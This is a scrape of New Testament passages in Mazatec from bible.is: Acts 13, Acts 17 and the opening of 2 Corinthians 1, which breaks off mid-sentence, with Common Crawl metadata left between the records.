Nainá nga kixi̱ kjoa̱. Tà kjòxkón‑la̱ koni s'ín tsakóya‑la̱ Pablo ko̱ Bernabé i̱t'aà ts'e̱ Na̱'èn‑ná. 13Pablo ko̱ jñà xi̱ta̱ xi kjihijtako̱ jahas'en chitso ya̱ Pafos, kiì ján Perge i̱'nde xi chja̱‑ne Panfilia. Ta̱nga jè Juan Marco, tsohótji‑ne, ján kiì‑ne Jerusalén. Mì ti̱ ya̱ tsobáhijtako̱‑ne Pablo. 14Jè Bernabé ko̱ Pablo jahato Perge, kiì Antioquía, na̱xa̱ndá xi chja̱‑ne Pisidia. Jè na̱chrjein nìkjáya, jahas'en ni'ya i̱ngo̱ sinagoga, i̱kjoàn tsibìtsa̱jna. 15K'e̱ nga jye kjòxke̱jiìn kjo̱tíxoma‑la̱ Moisés ko̱ xo̱jo̱n xi kiskiì xi̱ta̱ xi kiìchja̱ya ngajo‑la̱ Nainá, jñà xi̱ta̱ sko̱‑la̱ ni'ya i̱ngo̱ sinagoga kisìkasén xá‑la̱ jè Pablo ko̱ Bernabé, kitsò‑la̱: ―'Ndsè, tsà tjín‑nò mé 'én xi ki̱nókjoa̱jiìn‑là xi̱ta̱, ti̱nókjoa̱a mé‑ne nga s'e̱‑la̱ nga'ñó ini̱ma̱‑la̱ jñà xi̱ta̱. 16K'e̱é tsasítje̱n Pablo; ko̱ó tsja kisìjé‑la̱ nga jyò kàtìtsa̱jna; kitsò‑la̱: ―Jñò xi xi̱ta̱ Israel 'mì‑nò, ko̱ xi mìtsà na̱xa̱ndá Israel tsa̱jòn ta̱nga yaxkón Nainá, ti̱ná'ya‑ná. 17Jè Nainá xi ts'e̱ na̱xa̱ndá Israel, jaàjiìn xi̱ta̱ jchínga kjìn‑ná; jngoò na̱xa̱ndá je kis'iìn k'e̱ nga ti̱sa̱ ján títsa̱jna Egipto nga mìtsà ya̱ i̱'nde‑la̱; nga'ñó ts'e̱ Nainá‑né nga tsachrjekàjiìn nangui Egipto. 18Nainá, ichán nó kis'e‑la̱ kjoa̱tsejta nga kisìkinda̱ jñà xi̱ta̱ Israel ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. 19Nainá, itoò na̱xa̱ndá xi̱ta̱ kisìkjehesòn ya̱ nangui Canaán. I̱kjoàn kitsjaà‑la̱ jñà xi̱ta̱ Israel jè nangui jè nga ts'e̱ ko̱ma. 20Ngats'iì kjoa̱ koi, ñijòn sìndo̱ osen nó tsato. 'Xi komà i̱skan, Nainá kitsjaà‑la̱ xi xi̱ta̱ sko̱‑la̱ tsibìtsa̱jna nga tsibíndaàjiìn‑la̱ xi̱ta̱ na̱xa̱ndá Israel. Ko̱ jñà tsasìko̱ skanda k'e̱ nga j'iì Samuel, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 21Xi̱ta̱ na̱xa̱ndá Israel, kisìjé‑la̱ Nainá jngoò xi̱ta̱xá ítjòn xi mejèn‑la̱ nga ko̱tìxoma‑la̱. Nainá kitsjaà‑la̱ Saúl, ki'ndí‑la̱ Cis xi tje̱‑la̱ Benjamín. Ichán nó tsatíxoma Saúl. 22Nga komà i̱skan, Nainá jaàxìn Saúl; jè David kitsjaà‑la̱ xá nga tsibìjna xi̱ta̱xá ítjòn. Nainá kitsò: \"Jyeé kisakò‑na nga jè David xi ki'ndí‑la̱ Isaí, jngoò xi̱ta̱ xi sasén‑la̱ ini̱ma̱‑na̱ nga si̱ìkitasòn yije xi 'a̱n mejèn‑na.\" 23Nainá kisìkasén‑la̱ xi̱ta̱ na̱xa̱ndá Israel, jngoò xi̱ta̱ xi tje̱‑la̱ David xi 'mì Jesús nga jè ko̱chrjekàjiìn kjo̱'in. Nainá, k'oa̱á s'ín kitsjaà tso'ba nga ti̱sa̱ tàts'en‑la̱ kjoa̱. 24K'e̱ nga ti̱kj'eè f'iì Jesús, Juan kiìchja̱yajiìn‑la̱ xi̱ta̱ na̱xa̱ndá Israel nga kàtasíkájno jé‑la̱, mì ti̱ jé ko̱hótsji‑ne ko̱ kàtama bautizar. 25K'e̱ nga jye tífehet'aà na̱chrjein‑la̱ Juan xá xi j'iì‑ne, kitsò: \"Jñò, ¿kó s'ín nìkítsjeèn i̱t'aà ts'a̱n? ¿A bixón‑nò: jè Cristo? Majìn. Sa̱á nchrobá tji̱ngui jngoò‑na xi ìsa̱ tíjna ítjòn skanda mìkiì ok'ìn‑na nga 'a̱n skíjnda̱'ñoá xo̱x'ín‑la̱ xo̱xté‑la̱\", kitsò Juan. 26'Ta̱nga i̱'ndei̱, k'oa̱á ma‑ne ko̱xan‑nò ngats'ioò jñò ndí 'ndsè xi tje̱‑la̱ Abraham inchrobàt'aà‑nò ko̱ jñò xi mìtsà ya̱ inchrobàt'aà‑nò ta̱nga yaxkón Nainá: jñá j'iì‑ná jè 'én i̱t'aà ts'e̱ Cristo nga jè ko̱chrjekàjiìn‑ná kjo̱'in. 27Jñà xi̱ta̱ na̱xa̱ndá Jerusalén ko̱ xi̱ta̱xá‑la̱, mìkiì kijtseèxkon Jesús nga jè xi Cristo, ti̱koa̱á mìkiì kjòchi̱ya‑la̱ jñà 'én xi maxke̱ nga jiìn jiìn na̱chrjein jè na̱chrjein nìkjáya ya̱ ni'ya i̱ngo̱ sinagoga koni s'ín tjít'aà xo̱jo̱n ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. Ta̱nga jñà xi̱ta̱ koi kitsjaà o̱kixi̱ nga kàtiyaà Jesús ko̱ k'oa̱á s'ín tsitasòn koni tsò 'én koi. 28Na̱s'ín tsjìn‑la̱ jé Jesús nga ok'ìn‑la̱ nga ki̱yá, xi̱ta̱ koi, kisìjét'aà‑la̱ Pilato nga kàtasík'en. 29K'e̱ nga jye tsitasòn yije koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá i̱t'aà ts'e̱ Jesús, kiskónáje̱n t'aà krò, i̱kjoàn kiì nga tsibíhijiìn. 30Ta̱nga Nainá kisìkjaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà. 31Jesús, k'e̱ nga jye jaáya‑la̱, kjìn k'a tsakó‑la̱ yijo‑la̱ jñà xi̱ta̱ xi chinchimako̱ nga inchrobà‑ne Galilea skanda Jerusalén; na̱chrjein i̱'ndei̱, jñà xi̱ta̱ koi xi béno̱jmí kixi̱‑la̱ xi̱ta̱ na̱xa̱ndá i̱t'aà ts'e̱ Jesús. 32'Koi xá j'iì‑naje̱n nga kéno̱jmí‑je̱n 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo koni s'ín kitsjaà‑la̱ tso'ba Nainá jñà xi̱ta̱ jchínga‑naje̱n. 33I̱'ndei̱, k'e̱ nga kisìkjaáya‑la̱ Jesús, k'oa̱á s'ín kisìkitasòn xi i̱t'aà tsa̱je̱n xi i̱xti‑la̱ ma‑je̱n jñà xi̱ta̱ jchínga‑naje̱n. K'oa̱á s'ín tjít'aà xo̱jo̱n ts'e̱ Salmo xi ma‑ne jò, nga tsò: \"I̱'ndei̱, ji̱‑né xi Ki'ndí‑na̱ xan‑lè; 'a̱n‑ná xi na̱'èn‑lè ma.\" 34Koni kis'iìn Nainá nga kisìkjaáya‑la̱ Jesús i̱t'aà ts'e̱ kjoa̱biyaà nga mì ti̱ kiì ki̱yá‑ne, ya̱á makixi̱ya 'én koi nga tsò Xo̱jo̱n‑la̱ Nainá: \"Siìkitasòn‑ná koni tsò 'én tsjeè‑na̱, ko̱ 'én kixi̱‑na̱ xi 'a̱n kitsjaà‑la̱ David.\" 35K'oa̱á ti̱s'ín tjít'aà ìjngoò xo̱jo̱n ts'e̱ Salmo nga tsò: \"Mìkiì koi̱'ndi nga ki̱'ndo yijo‑la̱ Xi̱ta̱ tsjeè‑lè.\" 36Jñà na̱chrjein nga tsibìjnakon David, k'e̱ nga jye kisìkitasòn koni s'ín mejèn‑la̱ Nainá, k'en. K'oa̱á ti̱s'ín kisìhijiìn koni komàt'in xi̱ta̱ jchínga‑la̱. Ti̱koa̱á i'ndo yijo‑la̱. 37Ta̱nga jè Xi̱ta̱ Tsjeè xi Nainá kisìkjaáya‑la̱ mìkiì i'ndo yijo‑la̱. 38Ngats'ioò jñò ndí 'ndsè, k'oa̱á s'ín kàtasijiìn‑nò, jñà 'én xi nokjoàyajiìn‑nòje̱n, jè‑né nga i̱t'aà ts'e̱ Jesús, Nainá síjchàat'aà‑ná jé‑ná. 39Jñà xi̱ta̱, ngats'iì kjoa̱ xi ch'o s'ín, mìtsà i̱t'aà ts'e̱ kjo̱tíxoma‑la̱ Moisés makixi̱ya; jè i̱t'aà ts'e̱ Jesús makixi̱ya xi̱ta̱, jñà xi mokjeiín‑la̱ i̱t'aà ts'e̱. 40T'e̱en kinda̱ yijo‑nò mé‑ne nga mì k'oa̱á s'ín ko̱mat'ioòn koni s'ín tíchja̱ xo̱jo̱n‑la̱ jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga tsò: 41Chítsejèn, jñò xi nachrjekànguioò kjoa̱kixi̱, kàtaxkón‑nò, ko̱ jngoò k'a kàtachija jñò. 'A̱n, jngoò xá s'iaàn na̱chrjein tsa̱jòn, k'e̱ nga ti̱sa̱ titsa̱jnakoòn. Mìkiì ko̱kjeiín‑nò na̱s'ín s'e̱no̱jmí‑nò xá xi 'a̱n tìs'iaàn. 42Jè Pablo ko̱ Bernabé k'e̱ nga itjo‑ne ni'ya i̱ngo̱ sinagoga, jñà xi̱ta̱ kisìjét'aà‑la̱ nga kàtèno̱jmíya kjoa̱ koi jè xòhoto̱ xi sa̱ nchrobá. 43K'e̱ nga kisìhixat'aà xíkjín nga kiì‑ne, kjìn xi̱ta̱ kiìt'aà‑la̱ Pablo ko̱ Bernabé, jñà xi xi̱ta̱ judío ko̱ jñà xi̱ta̱ xi beèxkón Nainá xi jye jahatjìya‑la̱ nga xi̱ta̱ judío komà. Jè Pablo ko̱ Bernabé, k'e̱ nga tsohóko̱ xi̱ta̱ koi, 'ñó tsibít'in‑la̱ nga ndaà kàtíjiìn ini̱ma̱‑la̱ jñà 'én xi jye kiì'nchré xi kjo̱ndaà ts'e̱ Nainá. 44Jè na̱chrjein nìkjáya xi ìjngoò, kjo̱meé ijchò ngats'iì xi̱ta̱ na̱xa̱ndá nga kiì'nchré 'én‑la̱ Nainá. 45Ta̱nga jñà xi̱ta̱ judío k'e̱ nga kijtseè nga 'ñó kjìn ma xi̱ta̱, ìsa̱á ndaà kjòchi̱ni̱keè Pablo. I̱kjoàn tsibíts'ia̱ nga kondra̱ kiì‑la̱ Pablo 'én xi kiìchja̱, ti̱koa̱ tsakatít'aà. 46Pablo ko̱ Bernabé, 'ñó tsi'beé‑la̱ ikon; kitsò‑la̱: ―Tjínè‑naje̱n nga kéno̱jmí ítjòn‑nòje̱n 'én‑la̱ Nainá jñò xi xi̱ta̱ judío 'mì‑nò; ta̱nga jñò nachrjengui‑nò; k'oa̱á ma‑ne nga jñò, mìkiì s'e̱‑nò kjoa̱binachon ni̱ta̱ mé na̱chrjein‑ne; ngaje̱n ta̱ sa̱á jñà kéno̱jmí‑la̱je̱n jñà xi mìtsà xi̱ta̱ judío. 47K'oa̱á s'ín tsatíxoma‑naje̱n Nainá nga kitsò: Ji̱í tsjaà‑lè xá nga si̱hiseèn‑la̱ jñà xi̱ta̱ xi mìtsà xi̱ta̱ judío, kóho̱kji nga tíjtsa i̱sò'nde mé‑ne nga ki̱tjokàjiìn‑ne kjoa̱ ts'e̱ kjo̱'in. 48K'e̱ nga kiì'nchré ngats'iì xi mìtsà xi̱ta̱ judío, kjòtsjaá‑la̱; i̱kjoàn tsibíts'ia̱ nga kitsò: Ndaà tjín 'én‑la̱ Nainá; kòkjeiín‑la̱ ngats'iì xi xó kitjaàjiìn‑ne nga s'e‑la̱ kjoa̱binachon ni̱ta̱ mé na̱chrjein‑ne. 49K'oa̱á s'ín komà nga tsabísòn 'én ndaà‑la̱ Nainá kóho̱kji ya̱ i̱'nde jè. 50Ta̱nga jñà xi̱ta̱ judío tsibíts'ia̱ nga chinchá'a jñà íchjín ítjòn xi ndaà beèxkón Nainá ko̱ xi̱ta̱ ítjòn‑la̱ na̱xa̱ndá. K'oa̱á s'ín komà nga kondra̱ kiì‑la̱ jè Pablo ko̱ Bernabé. Tsachrjekàjiìn ya̱ na̱xa̱ndá. 51Jè Pablo ko̱ Bernabé tsibítsajneè chijo‑la̱ ndso̱ko̱ xi kondra̱ ts'e̱ xi̱ta̱ koi, [jè kjoa̱ xi okó nga kjo̱'in s'e̱‑la̱ i̱t'aà ts'e̱ Nainá]; i̱kjoàn kiì ján Iconio. 52Ta̱nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo, ndaà kis'e‑la̱ kjo̱tsjacha ko̱ ndaà kisìxájiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá.\nHechos 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/13","date":"2013-12-05T23:58:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048663\/warc\/CC-MAIN-20131204131728-00022-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":1386,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á 'sín 'jahato Anfípolis ko̱ Apolonia, ijchó Tesalónica ya̱ na̱xi̱ndá ñánda̱ nga tjín jngo ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 2Jè Pablo, koni 'sín nga ijye nga‑la̱ 'jaha'sen ya̱ ni'ya sinagoga; jàn ni̱chjin níkjáya tsajo̱óya‑ni nga iskotá'yájin Xa̱jo̱n Tsje‑la̱ Nainá. 3'Koa̱á 'sín tsi'kéna̱jmí‑la̱ nga jè Cristo [ra xá inikasén‑ni] nga tjínè‑la̱ nga ki̱yá; ko̱ 'kia̱ nga ijye ki̱yá tjíné‑la̱ nga kjoa̱áya‑ila̱; ko̱ kitsó‑la̱: ―Jè Jesús ra ko̱'sín tí'bènájmí‑no, jè‑ní Cristo [ra xá inikasén‑ni]. 4Tjín i'ka xi̱ta̱ judío ra kjokjiín‑la̱ 'én‑la̱ Nainá; ko̱ ya̱á tsakáhijtako̱ Pablo ko̱ Silas. Ti̱'koa̱á kjín xi̱ta̱ griego ra bexkón Nainá kjokjiín‑la̱ ko̱ kjín íchjín ra i̱jncha ítjòn kjokjiín‑te‑la̱. 5Tanga jñà xi̱ta̱ judío ra mì kì makjiín‑la̱, kjòchi̱ni̱keé jè Pablo ko̱ Silas. Tsikíxkóya xi̱ta̱ ra ta ya̱ tjíma'tsè ra xi̱ta̱ 'cho; tsikí'tsia̱ nga tsi'ké kjo̱si ya̱ a̱jin na̱xi̱ndá; kiskajàn'ta ni'ya‑la̱ xi̱ta̱ ra 'mì Jasón, tsakátsji Pablo ko̱ Silas nga mejèn‑la̱ ko̱chrje nga si̱ìnga̱tsja xi̱ta̱ na̱xi̱ndá. 6Tanga mì kì kjomà isakò‑la̱; kjo̱jchán inachrje‑ni Jasón ko̱ xi̱ta̱‑la̱ Cristo ra ya̱ títsa̱jna i'ka nga kiìko̱ ya̱ ngixko̱n xi̱ta̱xá; 'ñó kiìchja̱ kitsò: ―Jñá xi̱ta̱ kìi̱ ra i̱nchisíkitsón xi̱ta̱ i̱sà'nde ijyeé 'ji‑te i̱ i̱'nde tsa̱jién. 7Nga'tsì jñà xi̱ta̱ kìi̱, kitsjá'nde‑la̱ jè Jasón nga tsikitsa̱jna ya̱ ni'ya‑la̱. Sabà kondra̱á fì‑la̱ kjo̱téxoma‑la̱ César ra xi̱ta̱xá ítjòn tíjna; ko̱ 'koa̱á 'sín tsò nga tíjna‑ró ìjngo‑isa xi̱ta̱xá ítjòn ra 'mì Jesús. 8Jñà xi̱ta̱xá ko̱ xi̱ta̱ na̱xi̱ndá, 'kia̱ nga kií'nchré jñà 'én kìi̱ kjojtií‑la̱. 9'Kia̱ nga ijye isinè‑la̱ to̱n jè Jasón ko̱ xi̱ta̱ ra i'ka, isíkítsa̱hijyondi̱í‑ni. 10'Kia̱ nga ijye kjòjñò, jñà 'ndsé ndi̱to̱ón isìkasén jè Pablo ko̱ Silas skanda ján na̱xi̱ndá Berea. 'Kia̱ nga ijchò ya̱ i̱'nde ra̱kìi̱, ya̱á 'jaha'sen ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 11Jñà xi̱ta̱ ra títsa̱jna ya̱ Berea, isa̱á nda tjín kjo̱bítsjen‑la̱ mì 'koa̱‑ni koni jñà ra títsa̱jna ya̱ Tesalónica; isa̱á ndi̱to̱n kjokjiín‑la̱ 'én‑la̱ Nainá. Ni̱chjin nchijòn nda iskotá'yájin jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga mejèn‑la̱ ske̱ a kixi̱í kjoa̱ nga ko̱'sín tjín kiti koni 'sín nga tí'sena̱jmí‑la̱. 12'Ñó kjìn xi̱ta̱ judío kjokjiín‑la̱, ti̱'koa̱ kjín íchjín ra i̱jncha ítjòn ko̱ xi̱ta̱ 'xi̱n kjokjiín‑te‑la̱ ra xi̱ta̱ griego. 13Jñà xi̱ta̱ judío ra títsa̱jna ya̱ Tesalónica, 'kia̱ nga kií'nchré nga jè Pablo ko̱ Silas ya̱á títsa̱jna ján Berea, nga ya̱á i̱nchi'béna̱jmí 'én‑la̱ Nainá, kijì ya̱ na̱xi̱ndá ra̱kìi̱ nga kiì kinchá'a xi̱ta̱ nga katasakó kjo̱si. 14Jñà 'ndsé, ndi̱to̱ón isìkasén Pablo ya̱ a̱ndi ndáchikon ján; tanga Silas ko̱ Timoteo ya̱á tsikitsa̱jna Berea. 15Jñà xi̱ta̱ ra tsakáhijtako̱ Pablo nga kiìko̱ índia, skanda ya̱á kiìko̱ Atenas. 'Kia̱ nga ijye tsáfa‑ni, ya̱á 'ya kjo̱hixi̱ nga jè Silas ko̱ Timoteo ndi̱to̱ón katafìtji̱ngi‑la̱. 16Pablo, 'kia̱ nga tíjna ya̱ na̱xi̱ndá Atenas nga tíkoñá‑la̱ jè Silas ko̱ Timoteo, taxki̱ baá kjomà‑la̱ 'kia̱ nga kijtse nga ya̱ na̱xi̱ndá ra̱kìi̱, taxki̱ kjín xkósòn bexkón ra mì tsa Nainá. 17'Koa̱á ma‑ni nga ya̱ ni'ya sinagoga tsajo̱óya‑ni ko̱ xi̱ta̱ judío, ko̱ ra taxki̱ xi̱ta̱ ra ti̱'koa̱ bexkón Nainá; ko̱ ni̱chjin nchijón tsakáko̱na̱jmí nga'tsì xi̱ta̱ ra maxkóya ya̱ ndi̱tsi̱n. 18Ti̱'koa̱á tjín i'ka xi̱ta̱ ra kjo̱bítsjen 'tse̱ xi̱ta̱ epicúreo ko̱ 'tse̱ xi̱ta̱ estoico bakón‑ya. Ti̱'koa̱á tsajo̱óya‑ni ko̱ Pablo. Tjín i'ka ra kitsò: ―¿Kó tsò‑ni 'én ra chja̱ya jè xi̱ta̱ xi̱'a ra̱kìi̱? Ti̱'koa̱ tjín i'ka ra kitsò: ―A̱'ta 'tse̱ nainá xi̱tse̱é‑la ra 'béna̱jmíya. Kií ko̱'sín kitsò‑ni nga jè Pablo, jè tsi'kéna̱jmí‑la̱ 'én ra nda tsò a̱'ta 'tse̱ Jesús, ko̱ ti̱'koa̱á tsi'kéna̱jmí‑la̱ nga jè Jesús jaáya‑ila̱ ra a̱'ta 'tse̱ kjo̱biya. 19'Kia̱á kiìko̱ jngo i̱'nde ñánda̱ 'mì Areópago. Iskonangi‑la̱ kitsò‑la̱: ―¿A ko̱maá nda ki̱ná'ya‑laji̱n jè kjo̱téxoma xi̱tse̱ ra ji̱ 'bèna̱jmíyi? 20Jè 'én ra bakon‑yi, 'ñó xi̱tse̱ ko̱ 'ñó kj'ií tsò. Mején‑naji̱n nga ko̱'kín‑náji̱n kó'sín tsò‑ni. 21Kií ko̱'sín kitsò‑ni nga nga'tsì jñà xi̱ta̱ ra ya̱ Atenas i̱'nde‑la̱ ko̱ xi̱ta̱ ra xìn nangi‑la̱, tà 'koa̱á 'sín i̱nchisíka'ya ki'ta ni̱chjin‑la̱ nga ta jé ra 'ñó mejèn‑la̱ nga kji̱'nchré ko̱ nga ki̱chja̱‑te kótsò kjo̱bítsjen xi̱tse̱ ra tíbatsíjen. 22Pablo, 'kia̱á tsasijna kixi̱ ya̱ masen‑la̱ i̱'nde Areópago, kitsò: ―Nga'tsì‑no ra i̱ i̱'nde‑no Atenas, 'koa̱á 'sín tsijen‑na nga 'ñó nda 'yaxkón jiòn ko̱ 'ñó nda makjiín‑no a̱'ta 'tse̱ ra nainá 'mì‑la̱. 23'Kia̱ nga 'jáhato ya̱ jngó jngó i̱ngo̱ ñánda̱ maxkóya jiòn, kíjtse‑náa̱ nga tjí'ta jngo 'én ra tsò: \"Jè Nainá ra mì kì 'yaxkon‑la̱.\" Ko̱ jè Nainá ra ko̱'sín 'yaxkón jiòn ni̱'sín mì kì 'yaxkon, jè‑ní ra 'a̱n ko̱'sín 'benájmíya‑no. 24'Jè Nainá, mì tsa ya̱ bijnaya i̱ngo̱ ra tsja xi̱ta̱ kisinda‑ni; nga̱ jè tsikínda i̱sà'nde ko̱ ngajmi ko̱ nangi ko̱ nga'tsì tsajmì ra tjín, ko̱ jè ma ni‑la̱. 25Ko̱ mì kì machjeén‑la̱ tsa jñà xi̱ta̱ i̱sà'nde ko̱si̱ko̱'ta, nga̱ ni̱mé ra chija'ta‑la̱ ra jè. Nga̱ jé‑ní ra tsjá‑ná kjo̱binachon, ko̱ tsjá‑ná tjo̱ ra chjeén, ko̱ tsjá‑ná ta mé tsajmì ra machjeén‑ná. 26'Ta jngoó xi̱ta̱ kisìchjeén nga tsikínda nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde; kiskosòn‑la̱ kó 'ki tse ko̱ma‑la̱ ko̱ ñánda̱ nga kítsa̱jna, 27mé‑ni nga katabátsji‑ni Nainá; katabátsjijno katabátsji'ta, tsa kií ni̱chjin sa̱kò‑la̱. Ni̱'sín, kixi̱í kjoa̱, jè Nainá mì tsa kjin tíjna; ya̱á tíjna'ta chraña‑ná nga jngó jngó‑ná. 28Nga̱ jè Nainá ra tísíkíjnakon‑ná, jé ra tsjá‑ná nga'ñó nga ma nikí'bie̱é, nga ti̱'koa̱ ma titsa̱jnasén i̱ i̱sà'nde. Koni 'sín kitsò jngo ra ti̱ xi̱ta̱ tsa̱jiòn‑no ra xi̱ta̱ chji̱ne̱ xa̱jo̱n nga kitsò: \"Jién, xi̱ta̱ tje̱‑la̱ Nainá 'mì‑ná ra jién.\" 29Tsa kixi̱ kjoa̱ nga tje̱‑la̱ Nainá 'mì‑ná, mì kì ma ko̱'sín si̱kítsjeén nga ko̱'ki Nainá koni jñà xkósòn ra ki̱cha̱ sinè ko̱ ra ki̱cha̱ chroba ko̱ tsa na̱jo̱ ra tsja xi̱ta̱ bínda‑ni koni 'sín nga jñà síkítsjen. 30Nga 'sa̱ ítjòn, Nainá mì kì ki'sìn kinda̱ kjoa̱jñò‑la̱ xi̱ta̱. Tanga 'ndi̱ 'ndi̱, 'koa̱á 'sín tsjá kjo̱hixi̱ nga nga'tsì xi̱ta̱ nga tjíjtsa i̱sà'nde, katasíkájno‑ni jé‑la̱, ko̱, kì ti̱ jé bátsji‑ni, ko̱ ya̱ kátáfa'ta‑la̱ ra jè. 31Nga̱ jè Nainá ijyeé tsikíjna jngo ni̱chjin 'kia̱ nga ngi kixi̱í ki̱ìndajín‑la̱ nga'tsì xi̱ta̱ i̱sà'nde. Nga̱ ijyeé jahájin jngo xi̱ta̱ ra kitsjà‑la̱ kjo̱hixi̱ nga jè ko̱ma xi̱ta̱xá ra ki̱ìndajín‑la̱ nga'tsiòo̱. Ko̱ ya̱á tsakón nga kixi̱í kjoa̱, 'kia̱ nga isikjaáya‑ila̱ a̱'ta 'tse̱ kjo̱biya. 32'Kia̱ nga kií'nchré‑la̱ kjoa̱ 'tse̱ ra faháya‑ila̱ mi'ken a̱'ta 'tse̱ kjo̱biya, tjín ra tà isìsobá‑la̱ ko̱ tjín i'ka ra kitsò: ―Kj'ií ni̱chjin‑la ki̱ná'ya india‑laji̱n jñà 'én ra nakjí. 33Jè Pablo, 'kia̱á itjojin‑la̱. 34Tanga tjín i'ka ra kjokjiín‑la̱ ra ya̱ kjóxkóya: jngo xi̱ta̱ ra 'mì Dionisio ra ya̱ chja̱‑ni 'tse̱ xi̱ta̱ ra títsa̱jtín ra 'mì Areópago, ti̱'koa̱á jngo chjo̱ón ra 'mì Dámaris, ko̱ tjín i'ka xi̱ta̱ ra kj'ií.\nHechos 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/17","date":"2013-12-09T10:13:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163955638\/warc\/CC-MAIN-20131204133235-00023-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":1011,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.361,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n Pablo, ra ko̱'sín 'a̱n tsikíxáya‑na Cristo koni 'sín kjomejèn‑la̱ Nainá, i̱nchinìkasén‑laji̱n jè xa̱jo̱n ra̱kìi̱, ko̱ jè 'ndsé Timoteo. I̱nchinìhixo'tá‑laji̱n jiòn ra xi̱ta̱ na̱xi̱ndá‑la̱ Cristo 'mì‑no ra titsa̱jna ya̱ na̱xi̱ndá Corinto. Ko̱ nga'tsì ra 'ndsé ma ra a̱'ta 'tse̱ Cristo ra ya̱ títsa̱jna nga tíjngo ya̱ nangi Acaya. 2Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 3Nda kata'yaxkón Nainá ra Na̱'ìn‑la̱ ma Jesucristo ra tíjna ítjòn‑ná. Nga̱ jè Nainá ra Na̱'ín‑ná ma, tseé kjo̱hi̱ma̱takòn tjín‑la̱ ra a̱'ta tsa̱jién ko̱ jé‑ní Nainá ra ma‑la̱ síjetakòn ki'ta‑ná. 4Jé síjetakòn inìma̱‑ná ni̱'sín ta mé kjo̱hi'in ra kajieén, mé‑ni nga ti̱'koa̱ si̱jetakén jñà ra ti̱'koa̱ kjo̱hi'in tjín‑la̱; ko̱'sín si̱jetakén inìma̱‑la̱ koni 'sín nga jè Nainá síjetakón‑ná ra jién. 5Koni 'sín nga tse kjo̱hi'in kajieén ra ti̱jñà‑ni kjo̱hi'in ra iskajin jè Cristo, 'koa̱á ti̱'sín a̱'ta 'tse̱ Cristo tseé kjoa̱jetakòn si̱jin ya̱ inìma̱‑ná. 6'Kia̱ nga ko̱'sín i̱nchinikjiín‑ji̱n kjo̱hi'in, kií‑ní nga jiòn ma sa̱kò‑la̱ kjoa̱jetakòn inìma̱‑no ko̱ kítjo̱kajin‑no kjo̱hi'in. Ko̱ tsa jè Nainá i̱nchisíje takòn‑naji̱n, kií‑ní nga ma sa̱kò‑te‑najiòn kjoa̱jetakòn, ko̱ ngi ko̱ó inìma̱‑no chíkjoa̱ko̱‑te‑no koni jñà kjo̱hi'in ra i̱nchinikjiín‑ji̱n. 7Tjín kixi̱í takòn‑ji̱n kjoa̱ ra chiñá‑ji̱n ra a̱'ta tsa̱jiòn. 'Ya‑náji̱n, nga̱ tsa ko̱'sín i̱nchinikjiín‑te jiòn kjo̱hi'in koni ra ji̱n, 'koa̱á ti̱'sín i̱nchisakó‑te‑no kjoa̱jetakòn ra tjín‑naji̱n. 8Jiòn 'ndsé ko̱ tichjeé, jé ra mejèn‑naji̱n nga nda katasijin‑no jñà kjo̱hi'in ra iskajin‑ji̱n ya̱ ján nangi Asia. Nga̱ 'ñó tse kjo̱hi'in inikjiín‑ji̱n ra 'ñó i'in tjín ra mì kì bijchótji̱ngi‑la̱ nga'ñó‑ná, skanda tsixó‑náji̱n, mí‑la kì ti̱ ki̱tsa̱kon-isa‑né. 9'Koa̱á 'sín kjomà‑naji̱n nga ijyeé‑la ko̱'sín tjínè‑la̱ nga ki̱yá‑ji̱n. Jñà kjoa̱ ra ko̱'sín kjomà'tin‑ji̱n, jé tsakón‑ya‑naji̱n nga mì kì machjeén nga ta ji̱n kjó'tatakòn‑ji̱n ijo‑na̱ji̱n, jé machjeén nga jè kjó'tatakòn‑ji̱n jè Nainá ra ma‑la̱ síkjaáya‑la̱ mi'ken. 10Jé Nainá isikatojin‑naji̱n kjo̱hi'in ra kjo̱biya kji'ta‑la̱, ko̱ 'koa̱á 'sín si̱ikatojin-isa‑naji̱n. 'Koa̱á 'sín jè kji'ta takòn‑ji̱n nga jè si̱ikatojin-isa‑naji̱n ta mé kjo̱hi'in‑nì, 11tsa ki̱si̱ko̱'tá‑náji̱n nga ki̱nákjoa̱'ta‑la jiòn Nainá ra a̱'ta tsa̱ji̱n. Tsa kjìn ma‑ni xi̱ta̱ ra ki̱chja̱'ta‑la̱ Nainá, kjín ko̱ma 